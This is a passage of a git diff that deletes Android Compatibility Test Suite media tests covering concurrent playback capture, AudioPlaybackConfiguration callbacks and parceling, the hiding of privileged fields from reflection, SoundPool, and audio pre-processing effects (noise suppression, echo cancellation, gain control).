-        final int MIN_NB_OF_CONCURENT_PLAYBACK_CAPTURE = 5;
-
-        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
-
-        Stack<AudioRecord> audioRecords = new Stack<>();
-        MediaPlayer mediaPlayer = createMediaPlayer(ALLOW_CAPTURE_BY_ALL,
-                                                    R.raw.testwav_16bit_44100hz,
-                                                    AudioAttributes.USAGE_MEDIA);
-        try {
-            mediaPlayer.start();
-
-            // Lets create as many audio playback capture as we can
-            try {
-                for (int i = 0; i < UPPER_BOUND_TO_CONCURENT_PLAYBACK_CAPTURE; i++) {
-                    audioRecords.push(createDefaultPlaybackCaptureRecord());
-                }
-                fail("Playback capture never failed even with " + audioRecords.size()
-                        + " concurrent ones. Are errors silently dropped ?");
-            } catch (Exception e) {
-                assertThat("Number of supported concurrent playback capture", audioRecords.size(),
-                           greaterThan(MIN_NB_OF_CONCURENT_PLAYBACK_CAPTURE));
-            }
-
-            // Should not be able to create a new audio playback capture record",
-            assertThrows(Exception.class, this::createDefaultPlaybackCaptureRecord);
-
-            // Check that all record can all be started
-            for (AudioRecord audioRecord : audioRecords) {
-                audioRecord.startRecording();
-            }
-
-            // Check that they all record audio
-            for (AudioRecord audioRecord : audioRecords) {
-                ByteBuffer rawBuffer = readToBuffer(audioRecord, BUFFER_SIZE);
-                assertFalse("Expected data, but only silence was recorded",
-                            onlySilence(rawBuffer.asShortBuffer()));
-            }
-
-            // Stopping one AR must allow creating a new one
-            audioRecords.peek().stop();
-            audioRecords.pop().release();
-            final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
-            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
-            audioRecords.push(createDefaultPlaybackCaptureRecord());
-
-            // That new one must still be able to capture
-            audioRecords.peek().startRecording();
-            ByteBuffer rawBuffer = readToBuffer(audioRecords.peek(), BUFFER_SIZE);
-            assertFalse("Expected data, but only silence was recorded",
-                        onlySilence(rawBuffer.asShortBuffer()));
-
-            // cleanup
-            mediaPlayer.stop();
-        } finally {
-            mediaPlayer.release();
-            try {
-                for (AudioRecord audioRecord : audioRecords) {
-                    audioRecord.stop();
-                }
-            } finally {
-                for (AudioRecord audioRecord : audioRecords) {
-                    audioRecord.release();
-                }
-            }
-        }
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
deleted file mode 100644
index e31f439..0000000
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ /dev/null
@@ -1,563 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_ALL;
-import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_NONE;
-import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM;
-
-import android.annotation.Nullable;
-import android.content.pm.PackageManager;
-import android.media.AudioAttributes;
-import android.media.AudioAttributes.CapturePolicy;
-import android.media.AudioManager;
-import android.media.AudioPlaybackConfiguration;
-import android.media.MediaPlayer;
-import android.media.SoundPool;
-import android.net.Uri;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Parcel;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-import com.android.internal.annotations.GuardedBy;
-
-import java.io.File;
-import java.io.IOException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-@NonMediaMainlineTest
-public class AudioPlaybackConfigurationTest extends CtsAndroidTestCase {
-    private final static String TAG = "AudioPlaybackConfigurationTest";
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private final static int TEST_TIMING_TOLERANCE_MS = 150;
-    /** acceptable timeout for the time it takes for a prepared MediaPlayer to have an audio device
-     * selected and reported when starting to play */
-    private final static int PLAY_ROUTING_TIMING_TOLERANCE_MS = 500;
-    private final static int TEST_TIMEOUT_SOUNDPOOL_LOAD_MS = 3000;
-    private final static long MEDIAPLAYER_PREPARE_TIMEOUT_MS = 2000;
-
-    // not declared inside test so it can be released in case of failure
-    private MediaPlayer mMp;
-    private SoundPool mSp;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // try/catch for every method in case the tests left the objects in various states
-        if (mMp != null) {
-            try { mMp.stop(); } catch (Exception e) {}
-            try { mMp.release(); } catch (Exception e) {}
-            mMp = null;
-        }
-        if (mSp != null) {
-            try { mSp.release(); } catch (Exception e) {}
-            mSp = null;
-        }
-    }
-
-    private final static int TEST_USAGE = AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED;
-    private final static int TEST_CONTENT = AudioAttributes.CONTENT_TYPE_SPEECH;
-
-    // test marshalling/unmarshalling of an AudioPlaybackConfiguration instance. Since we can't
-    // create an AudioPlaybackConfiguration directly, we first need to play something to get one.
-    public void testParcelableWriteToParcel() throws Exception {
-        if (!isValidPlatform("testParcelableWriteToParcel")) return;
-
-        // create a player, make it play so we can get an AudioPlaybackConfiguration instance
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-        final AudioAttributes aa = (new AudioAttributes.Builder())
-                .setUsage(TEST_USAGE)
-                .setContentType(TEST_CONTENT)
-                .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_NONE)
-                .build();
-        Preconditions.assertTestFileExists(mInpPrefix + "sine1khzs40dblong.mp3");
-        mMp = createPreparedMediaPlayer(
-                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
-                am.generateAudioSessionId());
-        mMp.start();
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
-        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
-        mMp.stop();
-        assertTrue("No playback reported", configs.size() > 0);
-        AudioPlaybackConfiguration configToMarshall = null;
-        for (AudioPlaybackConfiguration config : configs) {
-            if (config.getAudioAttributes().equals(aa)) {
-                configToMarshall = config;
-                break;
-            }
-        }
-
-        assertNotNull("Configuration not found during playback", configToMarshall);
-        assertEquals(0, configToMarshall.describeContents());
-
-        final Parcel srcParcel = Parcel.obtain();
-        final Parcel dstParcel = Parcel.obtain();
-        final byte[] mbytes;
-
-        configToMarshall.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
-        mbytes = srcParcel.marshall();
-        dstParcel.unmarshall(mbytes, 0, mbytes.length);
-        dstParcel.setDataPosition(0);
-        final AudioPlaybackConfiguration restoredConfig =
-                AudioPlaybackConfiguration.CREATOR.createFromParcel(dstParcel);
-
-        assertEquals("Marshalled/restored AudioAttributes don't match",
-                configToMarshall.getAudioAttributes(), restoredConfig.getAudioAttributes());
-    }
-
-    public void testGetterMediaPlayer() throws Exception {
-        if (!isValidPlatform("testGetterMediaPlayer")) return;
-
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-
-        final AudioAttributes aa = (new AudioAttributes.Builder())
-                .setUsage(TEST_USAGE)
-                .setContentType(TEST_CONTENT)
-                .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_ALL)
-                .build();
-
-        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
-        final int nbActivePlayersBeforeStart = configs.size();
-
-        Preconditions.assertTestFileExists(mInpPrefix + "sine1khzs40dblong.mp3");
-        mMp = createPreparedMediaPlayer(
-                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
-                am.generateAudioSessionId());
-        configs = am.getActivePlaybackConfigurations();
-        assertEquals("inactive MediaPlayer, number of configs shouldn't have changed",
-                nbActivePlayersBeforeStart /*expected*/, configs.size());
-
-        mMp.start();
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
-        configs = am.getActivePlaybackConfigurations();
-        assertEquals("active MediaPlayer, number of configs should have increased",
-                nbActivePlayersBeforeStart + 1 /*expected*/,
-                configs.size());
-        assertTrue("Active player, attributes not found", hasAttr(configs, aa));
-
-        // verify "privileged" fields aren't available through reflection
-        final AudioPlaybackConfiguration config = configs.get(0);
-        final Class<?> confClass = config.getClass();
-        final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
-        final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
-        final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
-        final Method getSessionIdMethod = confClass.getDeclaredMethod("getSessionId");
-        try {
-            Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
-            assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
-            Integer pid = (Integer) getClientPidMethod.invoke(config, (Object[]) null);
-            assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
-            Integer type = (Integer) getPlayerTypeMethod.invoke(config, (Object[]) null);
-            assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
-            Integer sessionId = (Integer) getSessionIdMethod.invoke(config, (Object[]) null);
-            assertEquals("session ID isn't protected", 0 /*expected*/, sessionId.intValue());
-        } catch (Exception e) {
-            fail("Exception thrown during reflection on config privileged fields"+ e);
-        }
-    }
-
-    public void testCallbackMediaPlayer() throws Exception {
-        if (!isValidPlatform("testCallbackMediaPlayer")) return;
-        doTestCallbackMediaPlayer(false /* no custom Handler for callback */);
-    }
-
-    public void testCallbackMediaPlayerHandler() throws Exception {
-        if (!isValidPlatform("testCallbackMediaPlayerHandler")) return;
-        doTestCallbackMediaPlayer(true /* use custom Handler for callback */);
-    }
-
-    private void doTestCallbackMediaPlayer(boolean useHandlerInCallback) throws Exception {
-        final Handler h;
-        if (useHandlerInCallback) {
-            HandlerThread handlerThread = new HandlerThread(TAG);
-            handlerThread.start();
-            h = new Handler(handlerThread.getLooper());
-        } else {
-            h = null;
-        }
-
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-
-        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
-
-        MyAudioPlaybackCallback registeredCallback = null;
-
-        final AudioAttributes aa = (new AudioAttributes.Builder())
-                .setUsage(TEST_USAGE)
-                .setContentType(TEST_CONTENT)
-                .build();
-
-        Preconditions.assertTestFileExists(mInpPrefix + "sine1khzs40dblong.mp3");
-        try {
-            mMp =  createPreparedMediaPlayer(
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
-                    am.generateAudioSessionId());
-
-            am.registerAudioPlaybackCallback(callback, h /*handler*/);
-            registeredCallback = callback;
-
-            // query how many active players before starting the MediaPlayer
-            List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
-            final int nbActivePlayersBeforeStart = configs.size();
-
-            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
-                    nbActivePlayersBeforeStart + 1, aa);
-
-
-            // stopping playback: callback is called with no match
-            callback.reset();
-            mMp.pause();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-            assertEquals("onPlaybackConfigChanged call count not expected after pause",
-                    1/*expected*/, callback.getCbInvocationNumber());//only 1 pause call since reset
-            assertEquals("number of active players not expected after pause",
-                    nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
-
-            // unregister callback and start playback again
-            am.unregisterAudioPlaybackCallback(callback);
-            registeredCallback = null;
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-            callback.reset();
-            mMp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-            assertEquals("onPlaybackConfigChanged call count not expected after unregister",
-                    0/*expected*/, callback.getCbInvocationNumber()); //callback is unregistered
-
-            // just call the callback once directly so it's marked as tested
-            final AudioManager.AudioPlaybackCallback apc =
-                    (AudioManager.AudioPlaybackCallback) callback;
-            apc.onPlaybackConfigChanged(new ArrayList<AudioPlaybackConfiguration>());
-        } finally {
-            if (registeredCallback != null) {
-                am.unregisterAudioPlaybackCallback(registeredCallback);
-            }
-            if (h != null) {
-                h.getLooper().quit();
-            }
-        }
-    }
-
-    public void testCallbackMediaPlayerRelease() throws Exception {
-        final HandlerThread handlerThread = new HandlerThread(TAG);
-        handlerThread.start();
-        final Handler h = new Handler(handlerThread.getLooper());
-
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-
-        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
-
-        final AudioAttributes aa = (new AudioAttributes.Builder())
-                .setUsage(TEST_USAGE)
-                .setContentType(TEST_CONTENT)
-                .build();
-
-        Preconditions.assertTestFileExists(mInpPrefix + "sine1khzs40dblong.mp3");
-        try {
-            mMp = createPreparedMediaPlayer(
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
-                    am.generateAudioSessionId());
-
-            am.registerAudioPlaybackCallback(callback, h /*handler*/);
-
-            // query how many active players before starting the MediaPlayer
-            List<AudioPlaybackConfiguration> configs =
-                    am.getActivePlaybackConfigurations();
-            final int nbActivePlayersBeforeStart = configs.size();
-
-            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
-                    nbActivePlayersBeforeStart + 1, aa);
-
-            // release the player without stopping or pausing it first
-            callback.reset();
-            mMp.release();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-            assertEquals("onPlaybackConfigChanged call count not expected after release",
-                    1/*expected*/, callback.getCbInvocationNumber());//only release call since reset
-            assertEquals("number of active players not expected after release",
-                    nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
-
-        } finally {
-            am.unregisterAudioPlaybackCallback(callback);
-            if (h != null) {
-                h.getLooper().quit();
-            }
-        }
-    }
-
-    public void testGetterSoundPool() throws Exception {
-        if (!isValidPlatform("testSoundPool")) return;
-
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-
-        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
-        am.registerAudioPlaybackCallback(callback, null /*handler*/);
-
-        // query how many active players before starting the SoundPool
-        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
-        int nbActivePlayersBeforeStart = 0;
-        for (AudioPlaybackConfiguration apc : configs) {
-            if (apc.getPlayerState() == AudioPlaybackConfiguration.PLAYER_STATE_STARTED) {
-                nbActivePlayersBeforeStart++;
-            }
-        }
-
-        final AudioAttributes aa = (new AudioAttributes.Builder())
-                .setUsage(TEST_USAGE)
-                .setContentType(TEST_CONTENT)
-                .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_SYSTEM)
-                .build();
-
-        mSp = new SoundPool.Builder()
-                .setAudioAttributes(aa)
-                .setMaxStreams(1)
-                .build();
-        final Object loadLock = new Object();
-        final SoundPool zepool = mSp;
-        // load a sound and play it once load completion is reported
-        mSp.setOnLoadCompleteListener(new SoundPool.OnLoadCompleteListener() {
-            @Override
-            public void onLoadComplete(SoundPool soundPool, int sampleId, int status) {
-                assertEquals("Receiving load completion for wrong SoundPool", zepool, mSp);
-                assertEquals("Load completion error", 0 /*success expected*/, status);
-                synchronized (loadLock) {
-                    loadLock.notify();
-                }
-            }
-        });
-        Preconditions.assertTestFileExists(mInpPrefix +  "sine1320hz5sec.wav");
-        final int loadId = mSp.load(mInpPrefix + "sine1320hz5sec.wav", 1/*priority*/);
-        synchronized (loadLock) {
-            loadLock.wait(TEST_TIMEOUT_SOUNDPOOL_LOAD_MS);
-        }
-        int res = mSp.play(loadId, 1.0f /*leftVolume*/, 1.0f /*rightVolume*/, 1 /*priority*/,
-                0 /*loop*/, 1.0f/*rate*/);
-        // FIXME SoundPool activity is not reported yet, but exercise creation/release with
-        //       an AudioPlaybackCallback registered
-        assertTrue("Error playing sound through SoundPool", res > 0);
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-        mSp.autoPause();
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-        // query how many active players after pausing
-        configs = am.getActivePlaybackConfigurations();
-        int nbActivePlayersAfterPause = 0;
-        for (AudioPlaybackConfiguration apc : configs) {
-            if (apc.getPlayerState() == AudioPlaybackConfiguration.PLAYER_STATE_STARTED) {
-                nbActivePlayersAfterPause++;
-            }
-        }
-        assertEquals("Number of active players changed after pausing SoundPool",
-                nbActivePlayersBeforeStart, nbActivePlayersAfterPause);
-    }
-
-    public void testGetAudioDeviceInfoMediaPlayerStart() throws Exception {
-        if (!isValidPlatform("testGetAudioDeviceInfoMediaPlayerStart")) return;
-
-        final HandlerThread handlerThread = new HandlerThread(TAG);
-        handlerThread.start();
-        final Handler h = new Handler(handlerThread.getLooper());
-
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-
-        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
-
-        final AudioAttributes aa = (new AudioAttributes.Builder())
-                .setUsage(TEST_USAGE)
-                .setContentType(TEST_CONTENT)
-                .build();
-
-        Preconditions.assertTestFileExists(mInpPrefix +  "sine1khzs40dblong.mp3");
-        try {
-            mMp = createPreparedMediaPlayer(
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
-                    am.generateAudioSessionId());
-
-            am.registerAudioPlaybackCallback(callback, h /*handler*/);
-
-            // query how many active players before starting the MediaPlayer
-            List<AudioPlaybackConfiguration> configs =
-                    am.getActivePlaybackConfigurations();
-            final int nbActivePlayersBeforeStart = configs.size();
-
-            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
-                    nbActivePlayersBeforeStart + 1, aa);
-
-            assertTrue("Active player, device not found",
-                    hasDevice(callback.getConfigs(), aa));
-
-        } finally {
-            am.unregisterAudioPlaybackCallback(callback);
-            if (h != null) {
-                h.getLooper().quit();
-            }
-        }
-    }
-
-    private @Nullable MediaPlayer createPreparedMediaPlayer(
-            Uri uri, AudioAttributes aa, int session) throws Exception {
-        final TestUtils.Monitor onPreparedCalled = new TestUtils.Monitor();
-        final MediaPlayer mp = createPlayer(uri, aa, session);
-        mp.setOnPreparedListener(mp1 -> onPreparedCalled.signal());
-        mp.prepare();
-        onPreparedCalled.waitForSignal(MEDIAPLAYER_PREPARE_TIMEOUT_MS);
-        assertTrue(
-                "MediaPlayer wasn't prepared in under " + MEDIAPLAYER_PREPARE_TIMEOUT_MS + " ms",
-                onPreparedCalled.isSignalled());
-        return mp;
-    }
-
-    private MediaPlayer createPlayer(
-            Uri uri, AudioAttributes aa, int session) throws IOException {
-        MediaPlayer mp = new MediaPlayer();
-        mp.setAudioAttributes(aa);
-        mp.setAudioSessionId(session);
-        mp.setDataSource(getContext(), uri);
-        return mp;
-    }
-
-    private void assertPlayerStartAndCallbackWithPlayerAttributes(
-            MediaPlayer mp, MyAudioPlaybackCallback callback,
-            int activePlayerCount, AudioAttributes aa) throws Exception{
-        mp.start();
-
-        assertTrue("onPlaybackConfigChanged play and device called expected "
-                , callback.waitForCallbacks(2,
-                        TEST_TIMING_TOLERANCE_MS + PLAY_ROUTING_TIMING_TOLERANCE_MS));
-        assertEquals("number of active players not expected",
-                // one more player active
-                activePlayerCount/*expected*/, callback.getNbConfigs());
-        assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
-    }
-
-    private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
-        private final Object mCbLock = new Object();
-        @GuardedBy("mCbLock")
-        private int mCalled;
-        @GuardedBy("mCbLock")
-        private List<AudioPlaybackConfiguration> mConfigs;
-
-        final TestUtils.Monitor mOnCalledMonitor = new TestUtils.Monitor();
-
-        void reset() {
-            synchronized (mCbLock) {
-                mCalled = 0;
-                mConfigs = new ArrayList<AudioPlaybackConfiguration>();
-            }
-        }
-
-        int getCbInvocationNumber() {
-            synchronized (mCbLock) {
-                return mCalled;
-            }
-        }
-
-        int getNbConfigs() {
-            return getConfigs().size();
-        }
-
-        List<AudioPlaybackConfiguration> getConfigs() {
-            synchronized (mCbLock) {
-                return mConfigs;
-            }
-        }
-
-        MyAudioPlaybackCallback() {
-            reset();
-        }
-
-        @Override
-        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
-            synchronized (mCbLock) {
-                mCalled++;
-                mConfigs = configs;
-            }
-            mOnCalledMonitor.signal();
-        }
-
-        public boolean waitForCallbacks(int calledCount, long timeoutMs)
-                throws InterruptedException {
-            int signalsCounted =
-                    mOnCalledMonitor.waitForCountedSignals(calledCount, timeoutMs);
-            return (signalsCounted == calledCount);
-        }
-    }
-
-    private static boolean hasAttr(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
-        for (AudioPlaybackConfiguration apc : configs) {
-            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
-                && apc.getAudioAttributes().getUsage() == aa.getUsage()
-                && apc.getAudioAttributes().getFlags() == aa.getFlags()
-                && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
-                    == aa.getAllowedCapturePolicy()) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private static boolean hasDevice(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
-        for (AudioPlaybackConfiguration apc : configs) {
-            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
-                    && apc.getAudioAttributes().getUsage() == aa.getUsage()
-                    && apc.getAudioAttributes().getFlags() == aa.getFlags()
-                    && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
-                            == aa.getAllowedCapturePolicy()
-                    && apc.getAudioDeviceInfo() != null) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    /** ALLOW_CAPTURE_BY_SYSTEM is anonymized to ALLOW_CAPTURE_BY_NONE. */
-    @CapturePolicy
-    private static int anonymizeCapturePolicy(@CapturePolicy int policy) {
-        if (policy == ALLOW_CAPTURE_BY_SYSTEM) {
-            return ALLOW_CAPTURE_BY_NONE;
-        }
-        return policy;
-    }
-
-    private boolean isValidPlatform(String testName) {
-        if (!getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL, skipping test " + testName);
-            return false;
-        }
-        return true;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioPreProcessingTest.java b/tests/tests/media/src/android/media/cts/AudioPreProcessingTest.java
deleted file mode 100644
index 27aa866..0000000
--- a/tests/tests/media/src/android/media/cts/AudioPreProcessingTest.java
+++ /dev/null
@@ -1,251 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.pm.PackageManager;
-import android.media.AudioFormat;
-import android.media.AudioRecord;
-import android.media.audiofx.AcousticEchoCanceler;
-import android.media.audiofx.AutomaticGainControl;
-import android.media.audiofx.NoiseSuppressor;
-import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
-
-
-public class AudioPreProcessingTest extends AndroidTestCase {
-
-    private String TAG = "AudioPreProcessingTest";
-    // AudioRecord sampling rate
-    private final static int SAMPLING_RATE = 8000;
-
-    //-----------------------------------------------------------------
-    // AUDIO PRE PROCESSING TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 1 - Noise Suppressor
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 1.1 - creation
-    //----------------------------------
-
-    //Test case 1.1: test NS creation and release
-    public void test1_1NsCreateAndRelease() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        AudioRecord ar = getAudioRecord();
-        assertNotNull("could not create AudioRecord", ar);
-
-        boolean isAvailable = NoiseSuppressor.isAvailable();
-
-        NoiseSuppressor ns = NoiseSuppressor.create(ar.getAudioSessionId());
-        assertTrue("NS not available but created or available and not created",
-                isAvailable == (ns != null));
-        if (ns != null) {
-            ns.release();
-        }
-        ar.release();
-    }
-
-    //-----------------------------------------------------------------
-    // 1.2 - NS Enable/disable
-    //----------------------------------
-
-    //Test case 1.2: test setEnabled() and getEnabled()
-    public void test1_2NsSetEnabledGetEnabled() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        if (!NoiseSuppressor.isAvailable()) {
-            return;
-        }
-
-        AudioRecord ar = getAudioRecord();
-        assertNotNull("could not create AudioRecord", ar);
-
-        NoiseSuppressor ns = NoiseSuppressor.create(ar.getAudioSessionId());
-        assertNotNull("could not create NoiseSupressor", ns);
-        try {
-            ns.setEnabled(true);
-            assertTrue("invalid state from getEnabled", ns.getEnabled());
-            ns.setEnabled(false);
-            assertFalse("invalid state to getEnabled", ns.getEnabled());
-            // test passed
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            ns.release();
-            ar.release();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - Acoustic Echo Canceller
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 2.1 - creation
-    //----------------------------------
-
-    //Test case 2.1: test AEC creation and release
-    public void test2_1AecCreateAndRelease() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        AudioRecord ar = getAudioRecord();
-        assertNotNull("could not create AudioRecord", ar);
-
-        boolean isAvailable = AcousticEchoCanceler.isAvailable();
-
-        AcousticEchoCanceler aec = AcousticEchoCanceler.create(ar.getAudioSessionId());
-        assertTrue("AEC not available but created or available and not created",
-                isAvailable == (aec != null));
-        if (aec != null) {
-            aec.release();
-        }
-        ar.release();
-    }
-
-    //-----------------------------------------------------------------
-    // 2.2 - AEC Enable/disable
-    //----------------------------------
-
-    //Test case 2.2: test AEC setEnabled() and getEnabled()
-    public void test2_2AecSetEnabledGetEnabled() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        if (!AcousticEchoCanceler.isAvailable()) {
-            return;
-        }
-
-        AudioRecord ar = getAudioRecord();
-        assertNotNull("could not create AudioRecord", ar);
-
-        AcousticEchoCanceler aec = AcousticEchoCanceler.create(ar.getAudioSessionId());
-        assertNotNull("could not create AcousticEchoCanceler", aec);
-        try {
-            aec.setEnabled(true);
-            assertTrue("invalid state from getEnabled", aec.getEnabled());
-            aec.setEnabled(false);
-            assertFalse("invalid state to getEnabled", aec.getEnabled());
-            // test passed
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            aec.release();
-            ar.release();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 - Automatic Gain Control
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 3.1 - creation
-    //----------------------------------
-
-    //Test case 3.1: test AGC creation and release
-    public void test3_1AgcCreateAndRelease() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        AudioRecord ar = getAudioRecord();
-        assertNotNull("could not create AudioRecord", ar);
-
-        boolean isAvailable = AutomaticGainControl.isAvailable();
-
-        AutomaticGainControl agc = AutomaticGainControl.create(ar.getAudioSessionId());
-        assertTrue("AGC not available but created or available and not created",
-                isAvailable == (agc != null));
-        if (agc != null) {
-            agc.release();
-        }
-        ar.release();
-    }
-
-    //-----------------------------------------------------------------
-    // 3.2 - AEC Enable/disable
-    //----------------------------------
-
-    //Test case 3.2: test AGC setEnabled() and getEnabled()
-    public void test3_2AgcSetEnabledGetEnabled() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        if (!AutomaticGainControl.isAvailable()) {
-            return;
-        }
-
-        AudioRecord ar = getAudioRecord();
-        assertNotNull("could not create AudioRecord", ar);
-
-        AutomaticGainControl agc = AutomaticGainControl.create(ar.getAudioSessionId());
-        assertNotNull("could not create AutomaticGainControl", agc);
-        try {
-            agc.setEnabled(true);
-            assertTrue("invalid state from getEnabled", agc.getEnabled());
-            agc.setEnabled(false);
-            assertFalse("invalid state to getEnabled", agc.getEnabled());
-            // test passed
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            agc.release();
-            ar.release();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-    private boolean hasMicrophone() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private AudioRecord getAudioRecord() {
-        AudioRecord ar = null;
-        try {
-            ar = new AudioRecord(MediaRecorder.AudioSource.DEFAULT,
-                    SAMPLING_RATE,
-                    AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                    AudioFormat.ENCODING_PCM_16BIT,
-                    AudioRecord.getMinBufferSize(SAMPLING_RATE,
-                            AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                            AudioFormat.ENCODING_PCM_16BIT) * 10);
-            assertNotNull("Could not create AudioRecord", ar);
-            assertEquals("AudioRecord not initialized",
-                    AudioRecord.STATE_INITIALIZED, ar.getState());
-        } catch (IllegalArgumentException e) {
-            fail("AudioRecord invalid parameter");
-        }
-        return ar;
-    }
-
-}
